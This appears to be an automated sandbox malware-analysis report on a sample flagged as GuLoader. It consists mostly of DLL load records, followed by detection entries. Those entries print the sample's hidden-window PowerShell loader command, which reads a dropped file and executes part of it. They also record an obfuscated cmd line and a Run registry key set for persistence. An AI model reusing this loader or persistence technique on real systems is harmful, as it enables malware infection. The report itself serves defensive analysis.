Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: shfolder.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: riched20.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: usp10.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: msls31.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: sti.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: netutils.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: slc.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: userenv.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: sppc.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wininet.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasman.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rtutils.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: secur32.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: schannel.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: amsi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: napinsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: pnrpnsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wshbth.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: winrnr.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: sti.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wininet.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: netutils.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rasman.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: rtutils.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: secur32.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: schannel.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: amsi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\chcp.com Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\chcp.com Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 0000000F.00000002.2205196768.000000000F541000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1641973533.000000000E71D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Obfuscated command line found
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Suspicious powershell command line found
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Skovridergaards=Get-Content 'C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Passiveness\Kdbjergenes\Hlidhskjalf\Mezuzot.epo';$Articulations=$Skovridergaards.SubString(60455,3);.$Articulations($Skovridergaards)"
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Udbygningerne230
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Udbygningerne230
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
